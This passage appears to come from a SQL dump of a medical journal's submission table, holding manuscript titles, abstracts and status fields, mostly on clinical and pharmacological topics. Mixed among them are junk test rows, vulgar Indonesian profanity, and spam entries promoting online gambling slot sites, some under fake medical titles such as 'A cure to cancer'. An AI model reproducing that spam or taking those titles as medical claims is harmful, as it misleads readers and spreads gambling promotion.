pacientes; la precisión diagnóstica y el desarrollo de las actitudes y aptitudes del personal salud deben ser el motivo del éxito, sin embargo es poca la literatura que guía el trabajo para cumplir el objetivo deseado, Esta publicación hace un enfoque proponiendo una estrategia fácil de recordar y utilizar cuando un paciente se encuentra en estado crítico, se incluyen las patologías más comunes, su diagnóstico exacto y cómo participa el grupo interdisciplinario en el manejo integral en la Unidad de Cuidado Intensivo (UCI).','Palabras Claves: Patologías críticas; Unidad de Cuidados Intensivos UCI; Clínica; Manejo',4660,'','2022-04-22',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-04-26',1),(12750,9267,45,0,'','ARTÍCULO DE REVISIÓN. EL IMPACTO DE LA CAFEÍNA Y DE LAS BEBIDAS ENERGÉTICAS EN LA SALUD, ESPECIALMENTE EN DEPORTISTAS ','',15,0,'','RESUMEN:\r\nSegún la Resolución 4150 de 2009 del Ministerio de la Protección Social, una bebida energizante (estimulante) es una bebida no alcohólica, generalmente gasificada, compuesta básicamente por cafeína, hidratos de carbono y diversos azúcares de distinta velocidad de absorción, más otros ingredientes como aminoácidos, vitaminas, minerales y extractos vegetales, acompañados de aditivos acidulantes, conservantes, saborizantes y colorantes.\r\nEstos han demostrado generar efectos perjudiciales sobre la salud tras su consumo, dados por los componentes de los mismos.\r\nSe ha reportado efectos secundarios a nivel neurológico y cardiovascular, además de asociarse con síntomas propios del síndrome de abstinencia, como lo son la cefalea, irritabilidad, somnolencia, alteraciones del estado mental, insomnio, temblor, náuseas, inquietud, palpitaciones, ansiedad, trastornos gastrointestinales y aumento de la tensión arterial. Otros estudios han demostrado los posibles efectos clastogénicos y citogenotóxicos de las bebidas energizantes.\r\nDentro de los efectos evidenciados en múltiples estudios, se ha observado un incremento sobre el nivel basal de la presión arterial sistólica entre 9-10 mmHg y diastólica de 3 mmHg tras el consumo de Red Bull, de igual manera, se evidenció un aumento de la frecuencia cardíaca en aproximadamente 5 a 7 latidos / min, un incremento del gasto cardiaco, de la frecuencia respiratoria, un aumento de la resistencia vascular a nivel cerebral, un descenso de la velocidad del flujo sanguíneo del mismo, entre otros. Esto con el pasar del tiempo se hizo más notablemente en el mercado, y se observó tras el consumo de bebidas energéticas un aumento de la presión arterial tanto sistólica como diastólica, asimismo, se constató un aumento de la frecuencia cardiaca, los valores en suero de noradrenalina en un 75%, y un incremento del intervalo QT de un 5%. En un estudio, además, se evidenció que, tras el consumo de grandes cantidades, hubo una prolongación del intervalo QTc de hasta 20ms, lo cual es significativo cuando se correlaciona con el riesgo de arritmias; importante considerar que un aumento mayor a 10 ms se considera preocupante.\r\nEl uso de cafeína a dosis leves a moderadas con la finalidad de generar un efecto ergogénico a corto plazo es segura y efectiva. Es importante tomar a consideración previa suplementación la forma de presentación, la concentración, las interacciones, el tiempo de administración entre otras cosas para maximizar el beneficio y evitar los efectos adversos de estas bebidas.','Palabras claves: energizantes y efecto cardiovascular, afección cardiaca por energizantes, energizantes, cardiopatía, energizantes en deportistas, energizantes en deportistas de alto rendimiento, taurina, cafeína.',690,'','2022-04-22',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-04-26',1),(12751,9267,45,0,'','CARACTERIZACIÓN DE LOS PACIENTES CON MIASTENIA GRAVIS JUVENIL DE UN  HOSPITAL UNIVERSITARIO DE REFERENCIA ','',14,3,'','RESUMEN:\r\nINTRODUCCIÓN: La miastenia gravis juvenil (MGJ), es una entidad poco común, de la que no se cuenta con suficiente información. Esta patología cuenta con características propias y una reconocida variabilidad demográfica. Las consecuencias de no ser diagnosticada y tratada a tiempo pueden ser graves y su tratamiento se basa en lo observado en adultos. \r\nOBJETIVO: Caracterizar sociodemográfica y clínicamente la población de niños diagnosticados con MGJ en un hospital universitario de referencia en Colombia.\r\nMETODOLOGÍA: Estudio observacional retrospectivo, en el que se analizarón los registros me?dicos de los pacientes hospitalizados en el Hospital Universitario San Vicente Fundación (HUSVF) de la ciudad de Medellín, Colombia, desde enero de 2011 a diciembre de 2017. \r\nRESULTADOS: Se incluyeron las historias cli?nicas de 23 pacientes (14 mujeres). La edad media de inicio fue de 9,1 años. 15 (65,2%) se encontraban el periodo prepuberal. El tipo de miastenia ocular fue el más frecuente, principalmente en prepúberes. La crisis miasténica (CM) se presentó en 5 pacientes (21,7%), predominantemente en pospúberes. Se encontró una diferencia significativa entre el grupo de edad y el tipo de presentación; y una tendencia para presentar trastornos psiquiátricos según el sexo y la edad. \r\nCONCLUSIONES: Para el conocimiento de los autores éste es el primer estudio de caracterización de pacientes con MGJ en Colombia. El diagnóstico se dio principalmente en los pacientes prepúberes, y el sexo femenino se vio más afectado en ambos grupos etarios. Similar a lo encontrado en otras latitudes, el tipo ocular se presentó con mayor frecuencia. La proporción de pacientes con CM fue mayor a lo reportado. En este estudio se encontró, que pertenecer al grupo prepúber puede aumentar el riesgo de presentar MGO. La comorbilidad autoinmune no fue frecuente, y el rendimiento de las diferentes ayudas diagnósticas es bueno. Los medicamentos y líneas de manejo se ajustan a las recomendaciones dadas, sin embargo se necesitan más estudios y un tamaño de muestra más significativo.','PALABRAS CLAVE: Acetilcolina, inmunosupresores, enfermedad autoinmune, enfermedad neuromuscular,  miastenia gravis, timectomía.',689,'','2022-04-22',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2022-04-26',1),(12763,13007,45,0,'','awd','',25,0,'wadwad','awdawd','awd',4660,'','2022-04-28',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-04-28',1),(12762,13007,45,0,'','kamukontolodon','',24,0,'kamukontolodon','kamukontolodon','kamukontolodon',5379,'','2022-04-28',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-04-28',1),(12678,12941,639,0,'','bheart2206','',10,0,'','sd','',1772,'','2022-03-22',NULL,'Submitted',5,0,'0000-00-00','',1,0,'0','',0,'','',0,0,0,0,NULL,'2022-05-03',1),(12705,12808,959,0,'','adawdawdawd','',5,0,'ada','adawdawdawd','asasds',5362,'','2022-04-04',NULL,'Submitted',5,0,'0000-00-00','',1,0,'0','',0,'','',0,0,0,0,NULL,'2022-05-06',1),(12775,13016,86,0,'','Brugada Syndrome ','',14,1,'Changes in rhythm of heart ','All medical journals ','',410,'','2022-05-06',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-05-09',1),(12731,12990,639,0,'','dsfvdscdacdasc','',24,0,'awdwadwad','wadawdwad','asdadwdwad',5373,'','2022-04-17',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-05-09',1),(12732,12808,959,0,'','wadasdasdaswadwadawd','',24,1,'awdwadasdasd','adwdasdaswd','awdwawsds',4739,'','2022-04-17',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-05-09',1),(12655,12926,639,0,'','THE STUDY ON FISH DIVERSITY OF MADDUVALASA     RESERVOIR SRIKAKULAM DISTRICT, ANDHRA PRADESH, INDIA.','',14,3,'','Abstract\r\n\r\nThe fish fauna of Madduvalasa reservoir Vangara Mandalam in Srikakulam District, Andhra Pradesh were collected for the present study. The results of present study confirmed the occurrence of 31 species of fishes belonging to 5 orders, 21 genera of 13 families. The order Cypriniformes was dominant with 14 species followed by order Siluriniformes with 7 species. While the order Perciformes were represented with 6 species and Channiformes with 3 species was represented with one species. Thus the reservoir was good potential for fish fauna.\r\n','Fish fauna, Madduvalasa Reservoir, Andhra Pradesh, Genera.',1777,'','2022-03-10',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2022-05-13',1),(12679,12942,975,0,'','Treatment and dissemination in vestibular schwannoma : A Rapid Review','',19,1,'cancer of biology','Background: VS account for approximately 6–8% of intracranial tumors in adults and are the most common tumor in the CPA ranging between 80% and 95%. hearing loss associated with vestibular schwannomas of this size is typically unilateral, progressive, and commonly affects high-frequency thresholds and speech perception. Gross total resection is the goal of surgery while maintaining good facial function, in all sizes of tumors, and hearing preservation, in small to moderate size tumors in patients with serviceable preoperative hearing status. We provide an overview of vestibular schwannoma and discuss anatomical factors and their methods and publication, as well as the management strategies we should adopt when they occur.\r\nMethods: A review was conducted that follows the preferential reporting guidelines. PubMed, EMBASE, Library Genesis were used to search for vestibular schwannoma.\r\nResults: Vestibular schwannomas constitute 6% of all intracranial neoplasms and are the most common benign lesions of the IAC and CPA cistern constituting between 60% and 90% of the entire lesions seen in this area.\r\nConclusions: In the foreseeable future, Play better methods and treatments for vestibular schwannoma management in the age of precision medicine.','vestibular schwannoma, Cerebellopontine angle Retrosigmoid approach, facial function, perception',4875,'','2022-03-22',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-05-13',1),(12687,12948,251,0,'','A review of the identification and treatment of Helicobacter pylori infections','',15,0,'','Helicobacter pylori (H. pylori) is one of the most common infectious diseases in the world causing peptic ulcers and gastric cancer in humans. \r\nMethods: Herein, we used data published in various data bases searching the words “Helicobacter pylori”, “Identification” and “treatment”. \r\nResults: Methods of identification of H. pylori are divided into two categories: invasive and non-invasive. Invasive methods detect bacteria directly from gastric biopsy but non-invasive methods examine different samples. The key to effective treatment for H. pylori infection is the use of combination therapy being similar to the treatment for bacterial meningitis or endocarditis. Although alternative therapies, including herbal remedies and probiotics, have been used to improve eradication, current treatments still rely on a combination of antimicrobial agents such as amoxicillin, clarithromycin, metronidazole, and levofloxacin, as well as antisecretory agents such as proton pump inhibitors. \r\nConclusion: Both invasive and non-invasive diagnostic methods are used for the identification of H. pylori. Combination therapies are more efficient to eradicate the bacterium. \r\n',' H. pylori, treatment, metronidazole, amoxicillin, levofloxacin',783,'','2022-03-24',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-05-13',1),(12689,12952,975,0,'','CRITICAL ANALYSIS OF NEWER PROTECTIVE GEAR AND EQUIPMENTS USED IN THE DENTAL PRACTISE DURING COVID-19 PANDEMIC','',15,0,'','Infection protocol is an important aspect in clinical aerosol producing profession. The main purpose of it is to provide the bacterial and virus free environment for all. So, to have achieved it there are various protocol and standardized protective gears that helps deplete them to a certain extent and widely used in dentistry','human corona virus,covid 19, safety guidelines, infection control',4873,'','2022-03-25',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-05-13',1),(12696,12958,975,0,'','Applying Ki67, Bcl2 and CD117 immunohistochemical expression in the grading of bronchopulmonary neuroendocrine tumors ','',14,0,'','Background:\r\nKi67, Bcl2 and CD117 are expressed significantly greater in high-grade bronchopulmonary neuroendocrine tumors (BP-NETs). This study tries to evaluate the co-expression of these three markers in small cell neuroendocrine tumors (SCNETs) and typical carcinoid tumors (CTs).\r\nMethod:\r\nFormalin fixed paraffin embedded (FFPE) blocks from the specimen repository of the Department of Pathology at Masih Daneshvari Hospital were evaluated. IHC stain was used to assess the expression of ki67, Bcl-2 and CD117 in 17 SCNETs and 19 cases of CTs . Staining percentage of neoplastic cells was multiplied by intensity of the stain to produce the staining index (SI). SI higher than 6 for Ki67 and 25 for both Bcl2 and CD117 were considered positive.\r\nResult:\r\nExpression of ki67 and Bcl2 was significantly higher in SCNETs. CD117 expression and Bcl2/Ki67/CD117 co-expression were not significantly different between SCNETs and CTs. Bcl2/Ki67 and CD117/Bcl2 but not ki67/CD117 were significantly higher in SCNETs (P< 0.05). CD117 was positive in 52.6% of CTs and 65% of SCNETs. Its positivity was not significantly greater in bronchial biopsies of SCNETs devoid of crush artifacts. \r\nConclusion:\r\nA statistically significant difference was documented in single and paired expression of Ki67 and Bcl-2 as well as co-expression of CD117/Bcl-2 which could assist in discriminating low versus high grade bronchopulmonary neuroendocrine tumors; However, using CD117 expression for this purpose requires more investigation.\r\n','Pulmonary, Bronchial, Neuroendocrine, Ki67, Bcl2, CD117, Coexpression',5357,'','2022-03-29',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-05-13',1),(12701,12965,975,0,'','AN INVESTIGATION OF THE ROLE OF PRECISION MEDICINE IN THE TREATMENT OF SYSTEMIC LUPUS ERYTHEMATOSUS','',14,3,'','Systemic lupus erythematosus (SLE) is a serious autoimmune disease that disproportionately impacts women, representing approximately 90% of cases.  The diagnosis of SLE is difficult as the symptoms masquerade as other illnesses, there are no specific SLE diagnostic tests, and diagnoses are based on patient history, symptoms exhibited, patient examinations, and multiple medical tests that rule out other diseases such as damage to the liver, kidney and heart, and clotting cascade. As such, SLE diagnoses are often delayed or missed, and patients are given treatments to manage the symptoms, which leads to increased healthcare costs and prolonged hospital stays. Due to the complexity of and multiple factors associated with SLE disease progression, precision medicine approaches, including incorporating genetic, environmental, and lifestyle factors into treatment decisions, including the use of Anifrolumab, will allow the tailoring of treatments for individual patients and potentially eliminate or significantly reduce the number of flare-ups.  In this systematic review of the literature (SLR) and quantitative descriptive analysis of HCUP data, the effectiveness of Anifrolumab as a precision medicine treatment for SLE patients in the context of all available patient data was examined.  The results further confirmed the role genetic variation in SLE and the disproportionate impact of SLE on women of color. Disappointingly, there is a lack of representation of women of color - the patient population most significantly affected by SLE - in clinical trials and existing research. We conclude that although Anifrolumab shows promise as a precision medicine intervention, that due to genetic variations associated with SLE, as well as variations in environmental and lifestyle factors also linked to ethnicities which also affect SLE onset and progression, that without the representation of the ethnic and racial populations most affected by the disease in research and clinical trials, that the full promise of Anifrolumab and other therapeutic and preventative interventions will fall short. The key recommendation from this study is to improve the representation of minority patient populations within future research, particularly in clinical trials, to improve the evidence base for the use of Anifrolumab particularly among minority patient populations.','precision medicine, anifrolumab, lupus, SLE, autoimmune, women, minority health, disparities, DEI, diversity, inclusion',4089,'','2022-04-01',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2022-05-13',1),(12730,12808,959,0,'','awdwadwadwad','',14,0,'awdwadwad','awdawdwad','dwadwadwa',5362,'','2022-04-17',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-05-20',1),(12738,12995,91,0,'','Ppeek kelen 11','',2,1,'oksadoaskmd aslkdaso  asojdasoda','kontol kelen admin','pepek online',5040,'','2022-04-20',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-05-20',1),(12764,12802,639,0,'','Hh','',8,0,'Yy','H','H',1774,'','2022-05-01',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-05-20',1),(12766,12802,639,0,'','Yyyytt','',4,1,'Bb','Bb','Bb',4822,'','2022-05-01',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-05-20',1),(12765,12802,639,0,'','Yjjj','',9,0,'B','Kk','Jj',4822,'','2022-05-01',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-05-20',1),(12767,12802,639,0,'','Jjj','',7,0,'N','J','Bb',4822,'','2022-05-01',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-05-20',1),(12729,12989,975,0,'','Healthcare Chatbot Using Natural Language Processing for General Disease Prediction Based on Symptoms Provided by Patients','',14,0,'','For organizations building chatbot-based PC programs for patients and specialists, medical services frameworks have turned into a charming business sector. Medical care framework that collaborates effectively with old individuals/patients to get data, evaluate wellbeing status, and offer help, especially in post-clinic situations or at home. Chatbots assume a vital part in overcoming any issues among patients and specialists by filling in as a basic associate. Chatbots, which are fuelled by AI and AI, are relied upon to decrease medical care costs when utilized instead of people or as a beginning phase in assessing a condition and conveying taking care of oneself proposals. The proposed idea is to make a man-made reasoning based chatbot framework that helps patients in deciding their condition. Indeed, even in extremely complex illnesses where the patient has no information on the indication of ailment, the proposed framework can clarify or gauge the probability of the condition in light of the indication of affliction and give expected cures. This gadget is unbelievably easy to understand and helps the patient in taking the right dose.','',4089,'','2022-04-15',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-05-23',1),(12792,9267,45,0,'','FETUS IN FETU.','',2,1,'pediatrics','The fetus in fetus (FIF) is a rare congenital pathology with less than 200 cases reported in the literature worldwide, in which a pregnancy with monozygotic twins one of them develops normally, while the other atrophies and it is inside the developed twin. The most frequent location is retroperitoneal, however, multiple cases have been described in the sacrum, mediastinum, skull and neck. We present a case of a 17-day-old female patient diagnosed with a congenital abdominal mass. After the extraction, an anatomopathological analysis was performed. There were multiple limbs, vertebral column, anencephalic cranial cavity, and the diagnosis of FIF was concluded.','Fetus in fetu, Pediatric surgery, Retroperitoneal, Teratoma.',5387,'','2022-05-21',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-05-23',1),(12757,13002,91,0,'','A REVIEW ON ANTI-INFLAMMATORY ACTION OF HERBAL y','',19,0,'','Inflammation is a part of the vascular tissues complicated biological reaction to adverse\r\nstimuli like pathogens, damaged cells, or irritants. Redness, swollen joints, joint discomfort,\r\nstiffness, and loss of joint function are all symptoms.\r\nNSAIDs are currently used to treat inflammation. Unfortunately, these medications raise the\r\nrisk of blood clots, which can lead to heart attacks and strokes.Various nonsteroidal anti-\r\ninflammatory medicines have been demonstrated to alleviate pain and inflammation by\r\ninhibiting the isoform of cyclooxygenase enzyme\'s digestion of arachidonic acid, hence\r\nlowering prostaglandin synthesis. Many disorders connected with inflammation can be cured\r\nwith a natural product derived from medicinal herbs. The most common anti-inflammatory\r\nmedicine on the market has a number of negative side effects. As a result of these adverse\r\neffects, novel medications with fewer or no side effects are needed.The goal of this review\r\narticle is to compile information on promising phytochemicals derived from herbal plants that\r\nhave been studied in inflammatory models using modern scientific methods.','Inflammation, Anti-inflammatory herbal drugs, Herbal drugs, Turmeric,\r\nGinger.',5378,'','2022-04-27',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-05-23',1),(12761,13005,975,0,'','A “Best Choice Medicine” (BCM) Route to Drug Development to Solve the Aging-Associated Non-Communicable Disease Burden','',14,3,'','Everyday thousands of patients die from aging-associated non-communicable diseases (AA-NCDs) that might have been saved by new treatments that the United States Food and Drug Association (U.S. FDA) has no framework to allow them to try. As more people with money escape the system for treatments abroad, inequity in access to medicine will emerge. Understanding the ease of access of the medical tourism model as an ethical case for biotechnology companies and governments to work together could help establish a new regulatory route within the U.S. This paper proposes a new modality called “Best Choice Medicine” (BCM). This early access route would allow the same ease of access that Medical Tourism offers whilst creating a cost-efficient safety and efficacy study within the United States. BCM will complement the U.S. FDA by giving thousands of patients access to cutting-edge medicine while concurrently expediting technological advancements to millions in need. Towards this end, several patients who have utilized the Medical Tourism route for their AA-NCDs were surveyed to learn about their experiences and perceptions.','Aging; Aging-associated non-communicable disease; Regenerative Medicine; Best Choice Medicine; Regulatory; FDA; Patient advocacy; Medical tourism',3460,'','2022-04-28',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2022-05-23',1),(12768,13010,91,0,'','TECHNIQUES USED FOR SOLUBILITY ENHANCEMENT OF ALBENDAZOLE ','',15,1,'Solubility enhancement of poorly aqueous soluble albendazole by various techniques','Abstract: Albendazole is a drug having anthelmintic activity. It is used for the treatment of tapeworm. neurocysticercosis, cystic hydatid and also used to kill worms and according to biopharmaceutical classification system, albendazole comes under BCS II category which has poor aqueous solubility (<5%) and high permeability that is consider to be the most challenging parameter for most of the hydrophobic drug which can be given orally. Albendazole can be given with fatty meal and carbohydrate rich diet Poor solubility leads to poor absorption, low dissolution rate, poor bioavailability and less pharmacological activity so in this review complete focus is on the depth of the research to overcome these drawbacks ,novel techniques such as spray drying, Nanosuspension, Chewable tablets, solid dispersion, complexation method and hot melt extrusion method can be used, which enhanced the solubility of albendazole so that  albendazole can shows better absorption in gastro intestinal tract, high dissolution profile, and better bioavailability. This article describes the various solubility enhancement techniques which have been used till now for enhancing the solubility of hydrophobic drug albendazole, their cons and pros, their application and technique which were used by most of the scientist for attaining the effective absorption was solid dispersion in which solubility can be enhanced upto many folds by using hydrotropy.','Techniques, Hydrophobic drugs, Solubility enhancement.\r\n',4940,'','2022-05-02',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-05-24',1),(12799,13033,86,0,'','test','',24,0,'te','fasfasfasf','gsdfgdfg',409,'','2022-05-24',NULL,'Submitted',5,0,'0000-00-00','',1,0,'0','',0,'','',0,0,0,0,NULL,'2022-05-25',1),(12772,13014,975,0,'','COVID19 AND ANTI-CANCER THERAPIES','',15,0,'','The severe acute respiratory syndrome coronavirus 2 (SARS – CoV-2) has caused a global pandemic, and cancer patients, along with the people who have a history of cancer, are in the high-risk category, different anti-cancer therapies that help reduce and prevent tumors through immunosuppression can have adverse effects with the COVID-19. If the function of T and B cells is impaired, the patient will not be able to mount an adequate immunity even after vaccination. However, some anti-cancer regimens can work with the system and against viral infection. This review focuses on the positive and negative effects of different anti-cancer therapies and how they affect COVID-19 vaccine efficacy. ','\"Anti-cancer therapies\" \"cancer\", \"COVID-19\";\"pandemic\" \"T and B cells\" \"vaccination\", \"immunity\".',4873,'','2022-05-05',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-05-25',1),(12778,13019,959,0,'','What are the different cross talks between HIF1-α, TGFβ, Integrin and ECM in mediating Breast Cancer?','',15,0,'','Extracellular matrices (ECM) serve as the molecular scaffold for cell adhesion, migration, proliferation, and differentiation and as a repository of cytokines and molecular cues that determine cell polarization and tissue organization. The EMC alteration conducts to Integrinβ3 regroupement, after its TGFβ induced overexpression; important tumorogenesis step that mediates an amplified Integrin-Fak-Src signaling leading to aggressive tumor phenotype\r\nThe upstream of these events is the accumulation of stress sensor protein, HIF-1α, which in involved in a constitutive active TGFβ overexpression, epigenetic landscape remodeling and sustaining a Smad2/3 signaling by supressing VHL expression. Together, allowed TGFβ late target genes expression such as: SNAIL, MMP, Galectin, paxillin and Integrinβ3; and at the same time TGFβ early genes repression such as: p21 and E-cadherin.\r\nThis review highlight, subsequent to stress condition (as Hypoxia),  different feedbacks, whose HIF-1α , TGFβ , ECM alteration and Integrinβ3 interplay to promote breast cancerogenesis.\r\n\r\n','TGFβ,  Integrinsβ1/β3, HIF-1α, ECM, SMADs, EMT, menstrual phases swich,  Src and Breast cancerogenesis',3142,'','2022-05-08',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-05-25',1),(12776,13017,85,0,'','Three Dimensional Ontological Perspective for Designing Healthcare Services ','',14,3,'','Background:	Healthcare (HC) service processes are governed by a variety of regulations and rules enforced by many distinct authorities. Availability of these governance directives mostly on paper based-medium makes a bunch of information logistics and related issues in HC processes of e-Health systems. \r\nObjective :	 In order to rectify and to facilitate these stakeholders’ requirements for assistance with their access to these governing layers of eHalth solutions, it is necessary to provide a complete framework. This framework is expected to provide a complete and sound platform first to identify and then to develop eHealth solutions in compliance with those governing directives. \r\nMethodology: Proposed framework consists of three dimensions; 1) HC process activity dimension, 2) HC responsibility dimension and 3) HC directive enforcement dimension. Each dimension is proposed based on the rigorous existing tools and methods. The approach proposed to design and develop eHealth solutions by adopting this framework was evaluated with the selected scenario in the health domain. \r\nResults: By application of the proposed three-dimensional ontology, several HC service rule combinations such as base rules and connected rules have identified based on the service process activities and responsibility perspectives. \r\nConclusion:	The proposed approach facilitates the separation of concerns in HC governing perspectives in e-health solution development. Also this conceptual model can be used by the domain experts and software designers to realize the policies required to implement in e-health solutions.\r\n\r\n','',3282,'','2022-05-07',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2022-05-26',1),(12780,13021,667,0,'','Medical Education: Principles and Practice','',15,1,'Medical Education','Medical education is continued lifelong learning to become competent leaders in healthcare sector.\\r\\nIt entails being proficient in the use of medical technologies , digital learning methods, latest robotics, artificial intelligence along with being abreast of the latest developments in the ever changing and evolving realm of medical science.\\r\\nStudents should be driven by a zeal for the quest of knowledge to deliver quality service. Teachers should be able to motivate, guide, nurture, enhance, further the education process with their experience and knowledge.\\r\\nTeaching learning process is an art and science of acquiring knowledge, application of skills , communicating perfectly to deliver optimal care, and its quality  practice to minimize errors  and provide sustainable quality education in changing face of education which has shifted from classroom based teaching to more practical hands on training and learner centric two way knowledge.\\r\\n\\r\\n\\r\\n\\r\\n\\r\\n\\r\\n\\r\\n','teaching, learning, methods, communication.',5382,'','2022-05-11',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-05-26',1),(12800,13036,277,0,'','Potential reversal of pulmonary vasoplegia by inhaled ibuprofenate in covid 19 pneumonia','',16,3,'Potential reversal by inhaled ibuprofenate in covid 19 pneumonia','Inhaled ibuprofenate and COVID-19 pneumonia','',5356,'','2022-05-27',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2022-05-31',1),(12802,13038,45,0,'','NagaSlot77 | Naga Slot 77 Login Link Alternatif Naga Slot77','',24,0,'NagaSlot77 | Naga Slot 77 Login Link Alternatif Naga Slot77','NagaSlot77 sebuah situs slot online yang Terpercaya, Login Alternatif Naga Slot 77, Raja Slot88, Raja88 Slot, Slot77, Slot777.','nagaslot77',570,'','2022-05-29',NULL,'Submitted',5,0,'0000-00-00','',1,0,'0','',0,'','',0,0,0,0,NULL,'2022-06-01',1),(12801,13037,45,0,'','Juragan 99 Slot - Situs Judi Slot Deposit Pulsa 10rb Tanpa Potongan','',18,0,'Juragan 99 Slot - Situs Judi Slot Deposit Pulsa 10rb Tanpa Potongan','Juragan 99 Slot adalah situs slot deposit pulsa 10rb tanpa potongan yang melayani game judi online deposit pulsa 10000 terbaik no 1 di Indonesia.','juragan 99 slot',5388,'','2022-05-29',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-06-01',1),(12806,13040,45,0,'','new cure for headache','',1,0,'','a paracetamol alternative','slot online\\r\\nslot via dana\\r\\ndaftar slot via dana\\r\\nmain slot via dana\\r\\ngbowin\\r\\ngboslot',5360,'','2022-05-31',NULL,'Submitted',5,0,'0000-00-00','',1,0,'0','',0,'','',0,0,0,0,NULL,'2022-06-01',1),(12805,13040,45,0,'','A cure to cancer','',8,0,'','this is a hypothesis about cancer\'s cure.','slot gacor\r\nslot via dana\r\nslot online\r\nmain slot via ovo\r\nslot via pulsa',3611,'','2022-05-31',NULL,'Submitted',5,0,'0000-00-00','',1,0,'0','',0,'','',0,0,0,0,NULL,'2022-06-01',1),(12816,13052,91,0,'','COMPARATIVE STUDY OF FORMULATED MOSQUITO REPELLANT GEL WITH CONVENTIONAL MARKET GEL ','',14,0,'','Synthetic chemical mosquito repellents based on DEET were discovered to be harmful to persons suffering from diseases such as urea cycle disorders and thus cause contraindication in humans. These worrisome conditions necessitated the search for natural mosquito repellents that is cheap, effective, non-toxic, environment-friendly, and biodegradable. The global needs inspired the passion to research on mosquito repellant gel formulation using carbopol 940  prepared from oils obtained from essential plant of lemongrass, black pepper, Turmeric, Ginger, Nimes and Garlic and further evaluating  the formulated gels Repellence,  appearance, pH, viscosity, spreadability, and swelling index. The mosquito repellent potential was evaluated and simultaneously compared with the positive control (BNC). In many developing nations of the world including Nigeria, majority of the people do not have access to mosquito net, expensive mosquito repellant creams, and miscellaneous physical methods, this optimized gel in this research were evaluated and found to be effectual, inexpensive, and easily accessible way to prevent mosquito-borne diseases with environmental friendly potential as a way of preventing outbreak of malaria, and other diseases ','Mosquito, Repellent, Malaria, Gel, Formulation, DEET	',5114,'','2022-06-13',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-06-14',1),(12857,13080,73,0,'','SCHIZOPHRENIA : A SYSTEMATIC REVIEW','',15,0,'','Schizophrenia is a mental disorder characterized by disruptions in thought processes, perceptions, emotional responsiveness, and social interactions. Schizophrenia affects approx. 24 million people or 1 in 300 people (0.32%) worldwide. This rate is 1 in 222 people (0.45%) among adults. Here, a person\'s ability to think, feel and behave clearly is affected. Difficulty with concentration and memory may also be present.\r\nAccording to neurobiological theory, schizophrenia is the result of neurotransmitter dysregulation such as:\r\n1.	An Excess Of Dopamine,\r\n2.	Reduced Glutamate In The Cerebrospinal Fluid,\r\n3.	Levels Of Gamma Amino butyric Acid (Gaba) Expression In      Prefrontal Cortex, Or\r\n4.	Reduced Levels Of Serotonin\r\nHence, one can say, Schizophrenia is the major mental illness of our time and causes serious disturbances for those with the condition as well as using up significant proportions of scarce health resources. This paper reviews the recent literature on advances in introduction, etiology, symptoms and treatments. Methodological problems encountered in researching this condition are discussed. Advances in treatments offered for this condition have improved outcomes but whether the patient receives these treatments may depend on what local services are prepared to offer.\r\n','Schizophrenia, Distruptions, Perceptions, Emotional Responsiveness, Social Interactions, Neurobiological Theory, Neurotransmitter, Disregulation, Dopamine, Glutamate, Cerebrospinal fluid, GABA, Prefrontal Cortex, serotonin.',508,'','2022-07-13',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-07-15',1),(12849,13073,45,0,'','Dr','',14,0,'','Past researches that focused on intimate partners’ violence have indicated that the practice is on the increase and which was revealed to be associated with victims’ reproductive and health lives. In Nigeria, the increase in the violence is being influenced by several factors and has adverse effect on birth spacing which has not been well researched. \r\nConsequently, this study was done using the 